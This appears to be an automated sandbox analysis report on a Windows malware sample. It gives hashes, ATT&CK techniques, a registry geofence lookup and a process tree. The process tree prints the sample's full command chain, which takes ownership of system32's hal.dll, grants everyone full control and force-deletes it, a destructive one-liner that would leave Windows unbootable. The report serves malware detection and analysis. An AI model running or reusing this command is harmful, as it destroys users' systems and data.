315da1cf9792d9f6d75e8a1c3a36836b65f8497b090d9e596850d49b383a54e6

Analysis

max time kernel
93s
max time network
95s
platform
windows10-2004_x64
resource
win10v2004-20240802-en
resource tags

arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
submitted
07/08/2024, 07:41

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General

Target
88aab34a1fc0f5eb595dc14d0888a010N.exe
Size 1.2MB
Sample240807-jjbddavdnn
SHA256 315da1cf9792d9f6d75e8a1c3a36836b65f8497b090d9e596850d49b383a54e6
MD5 88aab34a1fc0f5eb595dc14d0888a010
SHA1 b49b26a944931c49dc88703573f3e7b2c18a7898
SHA512 4a5dd6b46d5a896b5f932674f82e9b989dd9ddd1281446c7b0f706a8d4fca581ec6d99787e4d78cec6cb1c7e22b1ce923c2cce792090fc03f7f4c64d2d72e23f
SSDEEP 24576:ETQ600VCO/ofRQJaR3gz8M0oODgAjSSMhqtRFyHTU4zbB/JB1lsE5X/xh+PuPPtP:5t+1kYfab
MD5 SHA1 SHA512 SSDEEP

Score

8^/10

discovery exploit

Malware Config

Signatures

Possible privilege escalation attempt 2 IoCs

exploit

pid	Process
4324	takeown.exe
1336	icacls.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2412658365-3084825385-3340777666-1000\Control Panel\International\Geo\Nation	88aab34a1fc0f5eb595dc14d0888a010N.exe

Modifies file permissions 1 TTPs 2 IoCs

discovery

File and Directory Permissions Modification

T1222

pid	Process
4324	takeown.exe
1336	icacls.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeTakeOwnershipPrivilege	4324	takeown.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 3876 wrote to memory of 828	3876	88aab34a1fc0f5eb595dc14d0888a010N.exe	88
PID 3876 wrote to memory of 828	3876	88aab34a1fc0f5eb595dc14d0888a010N.exe	88
PID 828 wrote to memory of 4324	828	cmd.exe	90
PID 828 wrote to memory of 4324	828	cmd.exe	90
PID 828 wrote to memory of 1336	828	cmd.exe	91
PID 828 wrote to memory of 1336	828	cmd.exe	91

C:\Users\Admin\AppData\Local\Temp\88aab34a1fc0f5eb595dc14d0888a010N.exe
"C:\Users\Admin\AppData\Local\Temp\88aab34a1fc0f5eb595dc14d0888a010N.exe"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:3876
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /k takeown /f c:\windows\system32\hal.dll && icacls c:\windows\system32\hal.dll /grant Everyone:(F) && del /f c:\windows\system32\hal.dll && exit
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:828
- - C:\Windows\system32\takeown.exe
    takeown /f c:\windows\system32\hal.dll
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    - Suspicious use of AdjustPrivilegeToken
    PID:4324
- - C:\Windows\system32\icacls.exe
    icacls c:\windows\system32\hal.dll /grant Everyone:(F)
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:1336

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/3876-0-0x00007FF6E26C0000-0x00007FF6E285F000-memory.dmp

Download

memory/3876-1-0x00007FF6E26C0000-0x00007FF6E285F000-memory.dmp